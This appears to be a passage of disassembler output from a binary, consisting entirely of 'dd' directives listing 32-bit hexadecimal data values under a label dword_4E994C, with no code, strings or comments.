		dd 0A510765Ch, 20884016h, 76F83A03h, 0F906E3C1h, 0FD4043DBh
		dd 582209ECh, 2304A13Dh, 0E885FFA2h, 0A4C54F66h, 190B34AEh
		dd 2AA266C3h, 6E8BF1C4h, 10DC542Eh, 0F02900E5h,	0E0143005h
		dd 0C698BF66h, 62BB5457h, 92EF2FBEh, 99CB905Dh,	2517AF9h
		dd 0F65D9D05h, 38562D20h, 0F1BBE984h, 6D5129BEh, 581C8B6Eh
		dd 6530BF12h, 299AF4E9h, 88316597h, 3F2CB377h, 0CA0D80Ch
		dd 58E20388h, 51A6CA80h, 8C0FE8E1h, 393ECD63h, 265B5D90h
		dd 0BC470BD3h, 0CD054DE4h, 69117B7Dh, 7FFBDE00h, 4DE96BFDh
		dd 795EEB1Fh, 5E3624E9h, 0E9986095h, 2840BEDAh,	35F19865h
		dd 82E10E77h, 0E2F86EA4h, 97095B1h, 537E82C0h, 9FB3E44Ch
		dd 8E01B804h, 1C804AE1h, 1974350h, 5AA60530h, 0A6522BE4h
		dd 4D8143F6h, 0FD87D5F7h, 952DD230h, 46F0EA44h,	4C5E9B69h
		dd 0AC6CEF01h, 2DF74A38h, 0D9CEBA43h, 196641CAh, 8049221Ah
		dd 0FED7A735h, 80594B50h, 1A1549D2h, 0C9055776h, 13680BA6h
		dd 4EF595C4h, 6D2FA0DBh, 0CB012D60h, 5101F365h,	5B348FB9h
		dd 2F1C920h, 397E6360h,	33E973E9h, 2A1ED5BFh, 98FAA9A0h
		dd 30E02CDBh, 3CC8ADE1h, 0BE80CB74h, 873C1E9Fh,	40609218h
		dd 2E8C02Ch, 0BC7C8FEh,	0C9FF8C2Ch, 909FEEA6h, 1C3BC70h
		dd 0EBC044B3h, 5078E905h, 5D34BD91h, 583BDA27h,	5B95FA53h
		dd 0F36B40B4h, 0D163B849h, 0AE02689Eh, 0F4718D56h, 0AD6F021Dh
		dd 0C143C149h, 45121277h, 0FFBCFE3Fh, 41EA3550h, 56672AF0h
		dd 20BC57C4h, 26FB4C79h, 108A585Bh, 8C9D7F7h, 1A39014Bh
		dd 5A30F404h, 5B831CF3h, 8018B0EEh, 260B99B3h, 543818E9h
		dd 0FD56714Ah, 2882C42h, 5B71280Dh, 35ACC022h, 27FD7C5Eh
		dd 717131E3h, 9303E90Fh, 0ACB77C47h, 0FAE8D082h, 0FB6720B9h
		dd 3EB65200h, 0FE7DF680h, 480ACEC6h, 0CE47DEEFh, 50EED379h
		dd 72387DCh, 6209B9F1h,	0C824F3F4h, 139B7E08h, 1A71252Dh
		dd 7FFC8E5Fh, 2028D1AFh, 0E77809C2h, 0B41F164h,	0A8AB9101h
		dd 66EAD009h, 0AF3D2ADEh, 7CD8FC7h, 47B01FF4h, 0C7F63558h
		dd 89C3890Dh, 39664E00h, 0EB52A27h, 11B876D1h, 955B0B40h
		dd 9FEAEB51h, 0A998362h, 0E4E212DBh, 0A74FEBE6h, 1888D4E1h
		dd 6800C78Ch, 2B1657F6h, 47EFA05Fh, 41B80050h, 0C1637D6Fh
		dd 6C007E0h, 37BA5206h,	7CA72C5Fh, 7320007Fh, 0DAF76BC5h
		dd 37BC178h, 4E31CA07h,	0C2635370h, 5177AF33h, 722CEAC0h
		dd 292D2618h, 0D8F70074h, 99125805h, 0ABE9B313h, 1DBF9640h
		dd 0BD467422h, 6B046861h, 0E958DD30h, 0D7A44B6Ah, 0C0A6F89Ah
		dd 8C7FCB05h, 26CEDB80h, 766E2E5Eh, 31E00199h, 0D9C15913h
		dd 11EEFC02h, 4BD77C3Ch, 413277B0h, 3778DEBCh, 989EE020h
		dd 3B141FAFh, 0D92942B6h, 0A785495Bh, 7DE25F08h, 83E8E6CEh
		dd 1F711E9h, 1905C859h,	0F14E7A7Ch, 13417C1Dh, 0F04F9B0h
		dd 19C42C03h, 9624B100h, 4664D34h, 2894B551h, 0DAA8E8h
		dd 0EDC058C5h, 62086803h, 5A176507h, 2119A375h,	0FA7174D5h
		dd 0B512BA8Dh, 18A5FC5h, 8B3E99F9h, 0FE35742Dh,	2F8B0074h
		dd 0F1294D76h, 14A5E77h, 67FABCC8h, 8BCF5DF0h, 0E950D7F6h
		dd 0EB8AB5B2h, 983E5045h, 1642B880h, 1D2FDE0Dh,	42C532Ah
		dd 0F5FDF1B8h, 0CAE02C5h, 0A3F45604h, 0C1A2955Eh, 0D7DCAF68h
		dd 3C59CADh, 0CAFE6BB2h, 0DA93D2F6h, 0C2390478h, 0E9570980h
		dd 0E564AB64h, 0A0A30A69h, 2E0841F9h, 0C32E60D8h, 0EA1C72FAh
		dd 7866436Ah, 931AC683h, 31EBE90Dh, 0E3C03E85h,	6527EB04h
		dd 16FEC5D5h, 515A70A9h, 7B5BC968h, 0B3D056A3h,	0EF6610h
		dd 0F216C9BEh, 0BDE8774h, 5E535643h, 0EEEEDD85h, 595AEB03h
		dd 0EA83A8E1h, 106C9FFh, 5499DB00h, 699D33B2h, 689026Ah
		dd 0B6844003h, 0EBA00EAh, 0B75BF204h, 0F781D800h, 0A216B1B2h
		dd 0EA06891Bh, 44CD4531h, 0B125685Fh, 627D4659h, 0F0311B88h
		dd 0E7AC4CE0h, 653D3580h, 0FA2DAE02h, 0F826AB22h, 139CF423h
		dd 0AC1B6879h, 96E24AB1h, 24708C4h, 79525E5Ch, 0EF5A4457h
		dd 39A34B16h, 9B7F21D6h, 810E04DEh, 0D4E86A08h,	51ED8D1Fh
		dd 40680FADh, 0F0FA612h, 8941BD55h, 0C58C0056h,	25A9BFC3h
		dd 0C60701B1h, 512DC819h
		dd 4BC380C2h, 126936Ch,	27A1D358h, 0D6B76A20h, 7181AD08h
		dd 6866F830h, 3668090Ah, 0F1725476h, 22FA1502h,	0C64A6197h
		dd 1A3CB37Eh, 0DF10D9AEh, 9681D9B8h, 684737B9h,	95E3569Eh
		dd 212D0122h, 3B3D31D8h, 0E05F05EAh, 0AF275950h, 0AA84082Ch
		dd 7A0A542Ch, 7CC932B7h, 2A96A02h, 65C533F5h, 4F2428DCh
		dd 0B82AB20h, 424EB61h,	4E05D081h, 0A12A7325h, 1172D4C8h
		dd 51217F26h, 2890D05h,	0C2B03185h, 760F9FAAh, 76D8F9A9h
		dd 17B7CC58h, 64A87153h, 16ED7984h, 0CDDEE8F8h,	6016A25Ah
		dd 283C5F08h, 7251FEF0h, 80037C9Fh, 0AE06A6BFh,	0FA012D79h
		dd 1D09A1F8h, 0F1516F1Bh, 0BFF56240h, 1FAC0905h, 0DD6A1FE2h
		dd 2A78037Fh, 0FD878D54h, 9CD7C6DFh, 395072A9h,	0E83EF588h
		dd 19417DA7h, 0DAB9E731h, 0F68C3BCBh, 78229728h, 18559589h
		dd 3140C61Eh, 29EE330Ah, 0A48104FEh, 612B0DEBh,	7C92E960h
		dd 5F45h, 696ED6C2h, 4A6ABDEFh,	314827Dh, 63667411h, 3730C599h
		dd 986DD3DDh, 1CB20AAh,	7940115Bh, 2D6C44C5h, 5D1AC5FCh
		dd 0FF958483h, 0C97F8B2Dh, 7188ADBBh, 21F201DAh, 70A3EECFh
		dd 75127BBBh, 97022712h, 0E0F103D3h, 99224269h,	5F9F02B6h
		dd 1CD501A3h, 65C10095h, 0E9FE5CA0h, 37D33B0Eh,	2B10BFF9h
		dd 57B4856h, 5B049B5Eh,	0F14054B8h, 6031B450h, 6DFE2F51h
		dd 0A2AB63FAh, 0B388DD4Fh, 0B3CD4F58h, 5518B47h, 13C9BF24h
		dd 0E65F86DFh, 0B0D07289h, 4D5A24FBh, 157802A4h, 0B0400AACh
		dd 7A257703h, 0BD1D157h, 23DC8A8Eh, 79CB204Fh, 0C037A43Eh
		dd 47D9830h, 0D64EE975h, 0CEF7EE4h, 327F6A58h, 2404B70Ch
		dd 0E6E960A0h, 0E24F7EA8h, 95BAC5ACh, 500921EBh, 0A2680094h
		dd 48E99F2Dh, 0FD8800C1h, 94F0F05Bh, 5DBB1C45h,	1A21D35Eh
		dd 42C06359h, 0EE2407E3h, 3616807Ch, 0CD4F54B2h, 73832ACBh
		dd 0B55B5A7Ch, 0D61362D1h, 0AF0F3E21h, 0FD7B213Fh, 3B38A793h
		dd 0CCD25B46h, 0D90B21F5h, 49A723E9h, 3C3F1CCFh, 0E98802EDh
		dd 0D8BE4A90h, 79E26853h, 0CABCF4B1h, 0E98567F2h, 468CD270h
		dd 9341B985h, 1E64D379h, 7A58A2B6h, 0FD1352B9h,	4E045B4Ah
		dd 0A61D3522h, 7D053DE7h, 8240584Bh, 4CF648FAh,	6EE0F3C5h
		dd 20B0B831h, 40BD23CEh, 3A669DAEh, 73E4D259h, 6AB94269h
		dd 930FFD38h, 5551A561h, 50D02F22h, 7ED8344Dh, 89C90335h
		dd 416A1608h, 0CD311A07h, 0CAB4FCA0h, 1C030F8h,	0A662E9C2h
		dd 2038F995h, 2C9300FDh, 0E6811A19h, 4B3B2EB5h,	8CE0012h
		dd 0E9720F6Bh, 0A39F4F47h, 0BFC4DB2h, 65295F68h, 10DA4F3h
		dd 62FC05A2h, 1AA57829h, 5742A355h, 15FB933Ah, 0BDCCE984h
		dd 0FC6676BFh, 220BD4F6h, 4537BD8h, 2106CD27h, 23BD4DD0h
		dd 3CA7D88h, 3E4C541h, 0F82F5D80h, 8EED290Fh, 671660A4h
		dd 5CC3296Ch, 64005C58h, 0FF74D510h, 2027E933h,	84F07949h
		dd 0AB0FC568h, 0E90C1BCEh, 560A5752h, 0E1485458h, 522D4ABDh
		dd 0D5DA0B93h, 9D9040C6h, 8E17D35Ah, 0FA1274B2h, 14162C58h
		dd 83925388h, 0DD2CFAD5h, 6625B7C8h, 83C5A2F1h,	4FAEB80h
		dd 4CE97A06h, 82CAC832h, 4FB34017h, 0AB604AE1h,	280D25BAh
		dd 0F9C037C0h, 58661B27h, 0ADE93FF4h, 34B43B6Ch, 3D2F5B16h
		dd 0E9C22EACh, 6CAAEA56h, 1BC110BBh, 0CA04D1F7h, 6446692Dh
		dd 6B201971h, 209141E5h, 7F14709Ch, 0C3F73BC2h,	7854E95Ah
		dd 80474F0Eh, 3A12D572h, 0C2B01C5Ah, 5D65B846h,	572C6807h
		dd 322B0147h, 6A590306h, 0CA672581h, 8C62EF04h,	99EE781Ch
		dd 0E035971Eh, 8A9B8909h, 25DB1C15h, 0C6E07632h, 435EBB88h
		dd 0EC3C0F4h, 44FC233Ah, 98DDF3C3h, 1539C1BCh, 0E18182E6h
		dd 0C0A424E4h, 951FE00Eh, 627ED1E4h, 6DF8B881h,	957E0E1Ah
		dd 8072D5F7h, 0A6DC05A6h, 0F192E17Ah, 1F02655Eh, 6352D028h
		dd 0E8CC8255h, 0F9DBC3B2h, 0B9FB8ECEh, 8C413010h, 61557A40h
		dd 2EEBB004h, 65340AAh,	0E13E281h, 0CC311D24h, 0BE432305h
		dd 933D06A8h, 5106AF80h, 480BCBB9h, 0E9415F0Fh,	0A94E160Ah
		dd 4718E5F3h, 444529BEh, 68A105ECh, 2837BFD7h, 28A2F8ABh
		dd 7AE0D6F7h, 9D4D3404h, 723F8724h, 927CDB95h, 0F62F7F83h
		dd 855A0641h, 0A69E01D0h, 2D228D0Fh, 0A7A11338h, 22AB0804h
		dd 344261CDh, 5B7C4EA9h, 3B63A3DAh, 0E02B5F97h,	9F2420Dh
		dd 4629743Ch, 21E20C41h, 303C64ACh, 62E7212Bh, 0AE0376FBh
		dd 89534E61h, 0EEC095FBh, 975516E9h, 758CD059h,	1FC775DDh
		dd 4D1D34B4h, 42F701h, 0DF295E08h, 0D3BD12D6h, 0C16C8C5Bh
		dd 8707E72Dh, 45B40EB6h, 4E7336BCh, 0D466B2F8h,	3FB8021Ah
		dd 0E075FB51h, 80FCB78Eh, 0C1398859h, 4B0CCC58h, 3267CDA3h
		dd 29C98238h, 0E9064B40h, 0CC0B8C27h, 9601F436h, 4661215h
		dd 0FC0FECE0h, 20699DBh, 5732C340h, 0AFA69D80h,	0E4C9353Dh
		dd 12D1D65Bh, 581EF4C2h, 0E0F3342Fh, 0FCC62C72h, 0A021957Bh
		dd 0CF1C85F2h, 0A4408595h, 103FF1FAh, 42322530h, 1977827Ch
		dd 0F23D7AF4h, 40C80038h, 3411172Dh, 0D828291Eh, 7D980705h
		dd 7CF123h, 4EE66BE3h, 0F7C066E9h, 0ECEED81h, 0D4554A49h
		dd 0E9080675h, 565C8FAAh, 88A920C3h, 58FC68A5h,	0E8D23432h
		dd 42FCD3D9h, 0F44DE05Fh, 0C049B84Ch, 0D52984BFh, 0F781017Eh
		dd 156F6BE2h, 0E4BE6121h, 74137DE3h, 0E0016E5Dh, 0CE223D8h
		dd 1B634530h, 0C2C050Eh, 49A01A98h, 92D3396h, 784CF4A1h
		dd 41B20CFFh, 519F2564h, 2CBACB81h, 0E4F1AB93h,	0F0521C4Fh
		dd 10F302C8h, 804A636Bh, 165522B5h, 0D3F7043Fh,	0B12CE94Bh
		dd 0D45FF5F7h, 437E6B72h, 9A7FDB7Dh, 848B44D4h,	5909B266h
		dd 574211D9h, 36E91068h, 8D709E4Eh, 3A88D4F6h, 0D1A758E1h
		dd 104B3502h, 0C2E66009h, 0BF4DC03Eh, 37B2569Ah, 5917D8BCh
		dd 55DF0E0Ch, 0D230FEAh, 58690113h, 0F8682AC0h,	32310B4Ah
		dd 893AEF2Fh, 1E44E0B1h, 0E0520C0h, 9D7BE65Eh, 11EA7B40h
		dd 567D8207h, 0F727D689h, 0EFC15AF0h, 480B802h,	237213D8h
		dd 52E78345h, 0E97E5688h, 5E241025h, 0F029EBBEh, 0D7C204FCh
		dd 2E16D75Ah, 58685509h, 859A5551h, 0F136A977h,	0B771ADB8h
		dd 0D5F95545h, 0E8D1E9C4h, 8FE24F48h, 1BF5CBDFh, 0D3E46894h
		dd 0D3A47F94h, 0E88E1B26h, 0D1C76D5Dh, 0D5400028h, 203A4118h
		dd 9066ED97h, 4F3CD82Fh, 66774141h, 2029503Ch, 52160B6Dh
		dd 0C71C0848h, 0F899E9C9h, 1FBB041Ah, 8038E621h, 0F3874341h
		dd 8D339B0h, 29492C07h,	82C12224h, 6B9FC291h, 8938BBEAh
		dd 0E2204E12h, 6804939Eh, 99A3CFDFh, 227680Bh, 5A64045Eh
		dd 0DA5CFFA8h, 0AC081502h, 0B9E8014Ch, 2017B1EBh, 0F9ED2432h
		dd 1C830841h, 4FDC0D1Dh, 170F0C00h, 68560AE3h, 841C0F8Ch
		dd 0C6AD5E14h, 0E86E6481h, 28011B18h, 19458F4Ah, 0E6290B0Fh
		dd 0EA0845EBh, 0A142482Dh, 5FC9A421h, 4A922EEh,	8DE71277h
		dd 82E22340h, 575AD38Ch, 57970367h, 0F4AD970Bh,	0B9A6BB44h
		dd 1545A777h, 0C976805h, 40782DAFh, 3E42C5BCh, 68542E4Ch
		dd 3A280836h, 5D5A1796h, 0E06B8B80h, 42020509h,	1F61F94h
		dd 0C4A776C6h, 332CB125h, 32E6938Dh, 59C82109h,	498C2154h
		dd 6168C94Ch, 215A31FEh, 923F6057h, 40A2ED5Ah, 7E1E624Ah
		dd 2C010F69h, 657D05EDh, 0E2952A76h, 8A5286A8h,	0B5BDE16h
		dd 86A92E20h, 0FEC5965Fh, 6A9C4Ah, 0C7FE93B7h, 0EE3BEF80h
		dd 27775C88h
		dd 0E8782FCFh, 13102F50h, 828C2Bh, 5B0C65A9h, 0D6013E0Eh
		dd 0C64DB695h, 5351E007h, 2F255068h, 4B715B2Dh,	900F2590h
		dd 0B2E4E606h, 9ECAE82h, 0B0A6B084h, 0D14C8812h, 2FB074BAh
		dd 801FFE73h, 4E260EF2h, 0E9F80A38h, 0B99FC1EFh, 3E8E6844h
		dd 0AD8FB81h, 0A1EA0104h, 7F477E6Bh, 4A089A50h,	0F398229h
		dd 39E6910h, 1226F8BBh,	1DA02A13h, 4A33ECD3h, 9C61D1A3h
		dd 188A6B27h, 4810B510h, 34A5133Bh, 0F1406223h,	3EB18B90h
		dd 84DAA21Ch, 2184680Ch, 26933DEAh, 0EBE909CCh,	47B25FA3h
		dd 68046FD4h, 8BBB3A1Fh, 0D5C15A1Bh, 0C100CB4Bh, 6EB508EDh
		dd 354941D9h, 94E7F81Fh, 7A543713h, 807B39A2h, 0C7125788h
		dd 42F0295Ch, 800AAA04h, 0D5F1F780h, 4BD0B82Ah,	36D1CEFh
		dd 5B8304D8h, 4D2C0A05h, 41335366h, 0B4BD0795h,	94FC302Bh
		dd 46A7B860h, 7A512F85h, 0C978207Bh, 8A64E8EAh,	0CABB580Ah
		dd 9083209Eh, 8DCDB945h, 7B32A174h, 79428A29h, 0D14501BDh
		dd 0C0C5CBEDh, 0FDC10ECEh, 0E821A603h, 2F2F1DE9h, 0FBC65534h
		dd 718AB907h, 0CD841935h, 0ABE360BCh, 21233ED8h, 0E90B11A5h
		dd 5125A403h, 0BAA095A8h, 74257EF2h, 4AB38654h,	0C2D78008h
		dd 189B16AEh, 0E920B063h, 73F5B025h, 0A1680464h, 0A47DAD60h
		dd 853938EBh, 0CC488B95h, 7172F32h, 80176C44h, 77A2F8E1h
		dd 0B39B250h, 102B507h,	2508ED99h, 14D46E71h, 26F90414h
		dd 0FC4B6B59h, 8620257Fh, 379B65B5h, 8C77A4B8h,	1314BB80h
		dd 0EC075C7Bh, 902D0304h, 0C1427041h, 74105D0h,	57AF45E9h
		dd 60245F42h, 31E4E074h, 0F369DE72h, 0CE07608h,	77F149E6h
		dd 3A0D3C5Ch, 15DC9356h, 1D176A08h, 0C03D925Dh,	7D1EBECDh
		dd 893F7700h, 51415EF1h, 5F592457h, 0E765E26Fh,	2C6293F4h
		dd 0D2277E9Bh, 0C91DAF48h, 0D68CF782h, 0F1002DECh, 53E6B11h
		dd 58DF1D3Dh, 0F92F8A21h, 198C964h, 0F9316F2Fh,	0DFC2015Ch
		dd 2B820307h, 493B88F4h, 13872C2Ah, 0D461B70Ch,	0EAC3E455h
		dd 0AB4A68F2h, 199C5D40h, 4A582174h, 0A5A8A887h, 0FE4B79BEh
		dd 4F869C55h, 0CE028853h, 76F52A92h, 48680907h,	28B2FB7Bh
		dd 0A182B7D2h, 9D96B7B0h, 0B13DB401h, 58E130D7h, 5BA61531h
		dd 0F94A3CDFh, 0F0A516B4h, 0BE93328Ch, 78E42F28h, 0F1A1D425h
		dd 0FD5D120Fh, 0C4E9E099h, 0E41E96A0h, 0A62DFA05h, 0BA6BDEEEh
		dd 0E979D3DBh, 5C1290A4h, 0DF73C380h, 0C24EB31h, 50E42841h
		dd 2E6C73B4h, 2FF554F6h, 0D32F5596h, 0E2A6D1ADh, 0CD904908h
		dd 0D093C8Bh, 80DFF72Eh, 45654A4Ch, 34409D7Ah, 6613C4F1h
		dd 0B012F1Fh, 54730EF7h, 5E5EC0F2h, 383A983Eh, 230614EFh
		dd 54CF0106h, 0FF590881h, 0E04B6BC8h, 48EF1D48h, 0B55D04h
		dd 373B6D8Bh, 2B9CB81h,	0E96CC87Bh, 0C65FD0DDh,	0E1479467h
		dd 3BEE19E9h, 0D54388Ch, 293F3009h, 486CF111h, 2699580Ch
		dd 0D673BD20h, 7B63712Fh, 4DE905B5h, 0CA61A804h, 42A5C290h
		dd 84B9D71Ch, 0AF8B2EFDh, 52A07C02h, 327D89E8h,	5BBE4140h
		dd 5161E52Ah, 24FCE91Fh, 0C370B32Bh, 0D92EF379h, 0E68802FBh
		dd 2B3611Fh, 433121C0h,	626FF05h, 0BEE32C93h, 650B1243h
		dd 0EA70AB87h, 0EB850h,	526C3A6Ah, 0B43C7E68h, 0D70230FBh
		dd 8449AC4Dh, 491FF534h, 8B7E8740h, 8DD104E9h, 12AA7AF4h
		dd 6B9719h, 32B98380h, 0CC20E93Fh, 69D694B6h, 1560D544h
		dd 5C0CBB57h, 30B97A01h, 80BE199Ah, 44E73BE4h, 8212BE9Bh
		dd 0A189D20Ch, 0A2E2B6D7h, 6210B5ACh, 0E9275457h, 8005621Ch
		dd 68C8EA3Ch, 33327CD7h, 571986DCh, 498D2A4Eh, 5E09A02Ch
		dd 0C784062Ch, 23E3A2A6h, 0E95E055Dh, 72BCB1FEh, 5DAE317Dh
		dd 647E5E54h, 1C82BE25h, 0D6ECEAC8h, 0B97D5AC9h, 0D2315EABh
		dd 524B4B2Eh, 0D6807AECh, 6E971535h, 25379873h,	32F4C183h
		dd 22F7D4E2h, 9A55F568h, 77D6C851h, 815D7F7Bh, 890740EFh
		dd 9959E9F9h, 96DE7725h, 3B800913h, 4A346858h, 0E72ACC4Bh
		dd 0A32E84B6h, 27E1B053h, 7E213E03h, 2D29E927h,	88D8B205h
		dd 7A585528h, 0AC680963h, 2F80E642h, 96530CBFh,	62585408h
		dd 264801E9h, 0C77E805Ah, 0BAD7283Ah, 0B606E5EFh, 5F8C8182h
		dd 929FF194h, 0E7DA0059h, 980E255Ah, 8352815Eh,	0F7800CBCh
		dd 37BA751h, 7FBBF831h,	53B48F89h, 0A2BEBD39h, 0D09EC49h
		dd 8255DE28h, 755AF32Eh, 0D312E81Bh, 77C0B8E9h,	1852EE05h
		dd 94596F91h, 6E26216Ch, 0E800A149h, 566A843Ch,	0D6D024E9h
		dd 2458E7AEh, 1023BD19h, 2C6497B9h, 3A9CA18Ah, 680BAA8Eh
		dd 476645A1h, 0C2889097h, 77531809h, 76A90C0Ah,	78347A2Dh
		dd 26372FC1h, 66045BD9h, 0EEC12368h, 6FA5F8F5h,	45AFC974h
		dd 9B7F49E7h, 0CBB21017h, 52523193h, 105A131h, 0D93AFE1Eh
		dd 84A6392Bh, 30FE6368h, 501CBD19h, 8172E100h, 0CC21C5F5h
		dd 0D6E91202h, 55B94E0Eh, 441CC6E5h, 1E247D81h,	97C05297h
		dd 0E528DDB5h, 0FEC7362Ch, 9C525CDh, 899BDBD7h,	0E158A1C2h
		dd 1092993h, 0D3ED00C2h, 804A4F6Ch, 1A5E91E9h, 0F9EC4BDDh
		dd 85ECBD1Dh, 79BE58F4h, 98BB7B25h, 0D8F7C536h,	2D00E1BEh
		dd 0FF58DB7h, 58C52F01h, 6D3065DAh, 7F36D44h, 20382569h
		dd 5CCB59D3h, 85297E5h,	0A324100Fh, 0DF19ED00h,	6B091187h
		dd 907993EFh, 0E9BE2662h, 0AADDEAA2h, 0F5ECFA8h, 7A97E41h
		dd 10231469h, 53882ABDh, 0E5048158h, 511A63CAh,	0F66904BEh
		dd 71011646h, 0E3885303h, 4AF4DAC9h, 0E9769C94h, 6D887D09h
		dd 58C18909h, 0F54A4BD1h, 0A09371AFh, 0A2CB0F84h, 516935EBh
		dd 25BBEA76h, 5BBC8253h, 89E50F83h, 0C491B820h,	8916C6EDh
		dd 2739E832h, 2C075197h, 66180950h, 94C43D04h, 1017F62Ch
		dd 8924B97Bh, 961B082Bh, 0DA68431Ch, 2A60CB0Bh,	5C3EF005h
		dd 0F9B53750h, 88D92D3Ch, 0C316448Bh, 5B8816B0h, 0A49114CEh
		dd 2943B731h, 2BDB61CDh, 86516F4Ch, 17B8261Bh, 79C10135h
		dd 9C46ED12h, 50EF592Ah, 2E771606h, 4040EA5h, 31F24B99h
		dd 7AC23FDEh, 77C47744h, 4405799Dh, 16E942F7h, 62D5FCD2h
		dd 0EF0F15C1h, 17BBEEB4h, 0E6E5258Dh, 2C071B3Ch, 0BED028A4h
		dd 17459E9Dh, 39D1F8BEh, 65214E71h, 0F020B753h,	711949Eh
		dd 33AC580h, 0E38C59E8h, 13E918D1h, 1BD55CBh, 310D2332h
		dd 7C04EDC1h, 5A9109C1h, 25EDD8BAh, 0E97645A2h,	0AB2F35Bh
		dd 13B0686Bh, 38AFBE45h, 0C9C0CF89h, 864B6847h,	0B8029BE3h
		dd 76BE7A7Eh, 2FEC1E1h,	0DBF2C358h, 5B0E2485h, 206E036Eh
		dd 6C200FEAh, 0CC882FECh, 54A87C43h, 5A480187h,	0C58B5E08h
		dd 318C914Ah, 0E57D9D1Dh, 844FA4D2h, 8883A650h,	0C2202C56h
		dd 0CD89399Bh, 1C02DAF6h, 9ED21434h, 6D038F07h,	20680156h
		dd 0AE0CD308h, 1F04A452h, 39EF461Fh, 2E41F857h,	258EB097h
		dd 0AE588B06h, 9AE110E2h, 2DC5B04Ah, 0F566E040h, 0F5107162h
		dd 0E85A2581h, 4BBD6877h, 15B2E309h, 84C7451Eh,	0D0901185h
		dd 0FC381DBh, 57C64FE0h, 0B4D4CAA5h, 1E413937h,	0AB3FC26Bh
		dd 3940BC11h, 72885258h, 87143CEAh, 0B6A75928h,	282E26F1h
		dd 258D03A9h, 0CD890FFBh, 0B17E9CFAh, 35075C12h, 79A415FDh
		dd 0ED047DC5h, 38804EC5h, 48A436DFh, 60C14149h,	8205BD5Dh
		dd 0DAE90812h, 3CEB5183h, 5FA22912h, 585B4F07h,	97B4922Ah
		dd 51DA0F31h, 0D543DC29h, 0ADF1C182h, 97C85EEBh, 0FCBCC9C8h
		dd 62A6802h, 8EEEDC0Bh
dword_4E994C	dd 3754DCBAh, 67BD5B85h, 9F85A7CEh, 25E2A933h, 903764CBh
		dd 0CF852221h, 681555FEh, 89D5202Ah, 0B8E2403Bh, 0F5481E14h
		dd 0E0E78912h, 22ADB77Bh, 0D3E614D1h, 0C2ACAEE1h, 48865EF3h
		dd 0F628D5EDh, 405ADDD2h, 0C39DC840h, 7D01E655h, 0B531E6CBh
		dd 41458620h, 78987D34h, 846E7709h, 0B3DF626h, 96DB9F6Bh
		dd 5AA8B880h, 382D36A2h, 11017618h, 2F508535h, 0DCDE6152h
		dd 712C4BEFh, 0DD24DB88h, 9EA3B42h, 55806B89h, 3ED42C56h
		dd 916019FAh, 7213EBE3h, 0CB974C93h, 0B92F1102h, 8770149h
		dd 0CE2008AFh, 45BF02FEh, 1EE90B39h, 913200E2h,	3728FC42h
		dd 9158A8BFh, 803D08C3h, 207B2D0Fh, 6435377Eh, 951576ECh
		dd 0F85B9B41h, 0D33A2EC2h, 5AA58C4Eh, 51E89816h, 87D60705h
		dd 2B55D11h, 0E92A28FBh, 68A30A2Fh, 58283802h, 7B8C15F0h
		dd 71B0801Bh, 0E3F70B80h, 0B8EAC180h, 0DD7D3531h, 898709DFh
		dd 67901A10h, 5B207016h, 12B4FDACh, 0E20256F7h,	0FED22457h
		dd 7FBE42h, 850FDB0Bh, 8516284Bh, 614BCB8Ah, 24822CC8h
		dd 0B7A0E27Dh, 722D41EFh, 201D00Dh, 0E14E681h, 0EB577D03h
		dd 4E08E178h, 1A0C083Bh, 1B1C0026h, 0D06826CBh,	39AC13B8h
		dd 0ADC0C53h, 36F4B825h, 2D2E5A1Fh, 2A9726C4h, 0BB0057F3h
		dd 430B0322h, 154EC6E9h, 5EF213ACh, 8FC26676h, 0D26801EDh
		dd 65C662Fh, 67826F3Fh,	5D0E492h, 0FBC4402Dh, 48F7EC1Eh
		dd 4259247Ch, 0D608CB00h, 0B5D5F754h, 159CDE2h,	0C8EE08h
		dd 685FFD89h, 18950D83h, 1705A1DAh, 8B291EDEh, 0DFF04F90h
		dd 2EB62574h, 4575F962h, 18E98BDFh, 0A8815854h,	4B27435Dh
		dd 0B502E3E4h, 32DC088Bh, 822B4609h, 99F154Eh, 0DE0B0C8Fh
		dd 0F4C28BFEh, 8B4F716Fh, 0CA5AB90Ch, 0E2C832Ah, 0C79E4FF0h
		dd 0E9F7518Dh, 5F3AF920h, 0C5D3C845h, 18FC3414h, 0DCA13E8Dh
		dd 0F2125AD8h, 46DF3C00h, 1A423CC8h, 47E340E9h,	2976647Dh
		dd 8C51980Dh, 0C5773A03h, 0B00175B6h, 86C180A8h, 1CB3090h
		dd 223844BBh, 0B2E4811Dh, 12ED7225h, 0AD8A08E9h, 53EA028Dh
		dd 0F06ECC5Ah, 735F01Dh, 89EBC8C0h, 6A78D9D7h, 74EC9481h
		dd 0B80FBE12h, 446E3C2Ah, 78ECE887h, 8609BC96h,	0B0105429h
		dd 0BFCE40EDh, 6F696A00h, 9026BA13h, 0C5385FC8h, 747E0ED9h
		dd 0EB270C84h, 8EABDC84h, 2A04C51h, 4A06BBEEh, 12A37822h
		dd 0EC21D9E9h, 4756DE12h, 0A7C8BB1h, 9A75EBF4h,	0B232B205h
		dd 19AC9940h, 934B161Fh, 0EE5988F3h, 885066B0h,	0EFDA9DD4h
		dd 0E3E9D50Ch, 6CFE9FBh, 2955C006h, 306938FEh, 0AF06FE42h
		dd 0DEE9465Bh, 0AA005B30h, 14066EBDh, 96CCE91Ch, 0B8E62506h
		dd 0EE65509Dh, 0B3688044h, 0DE59424Ch, 0E6022609h, 29960F01h
		dd 0C21469B5h, 98EA311Ch, 0DDF708D5h, 81028778h, 4AC66AF2h
		dd 0EBA2D496h, 727DF739h, 17AC4FE5h, 37C5B573h,	0A8102FACh
		dd 57170500h, 1F2D456Ch, 39500904h, 0C3FAC289h,	3FE276AEh
		dd 95FA8F63h, 0AEBC2359h, 126E85BDh, 0F3DF13BAh, 687D815Ch
		dd 824C0B0Dh, 0F6D30FB6h, 0C8A566D6h, 0B0EDA415h, 0C6088513h
		dd 8853B0C0h, 0D3F63AF3h, 80E90E4Fh, 0BC28B7E7h, 36A45A89h
		dd 0E92DC3F8h, 523E00D6h, 197A6851h, 311DC663h,	49CAE459h
		dd 61C43295h, 94388B5Dh, 9647E64Fh, 275525D3h, 0F38BCA30h
		dd 8390C0C7h, 82D5E912h, 0C0A95E19h, 76A30977h,	1A0562A1h
		dd 74F03B46h, 57F645A0h, 6D3D1E13h, 1D26ABFDh, 0C7298949h
		dd 0D7F06EC6h, 90DE7ED4h, 0D5FDB2C4h, 0ED76AD96h, 22ADE894h
		dd 579C1F2Dh, 5114079Ch, 2FFDF6B1h, 27BDFBB8h, 512136D0h
		dd 0CA2902B9h, 689EE9h,	3761668h, 6429534Fh, 1A7E937Fh
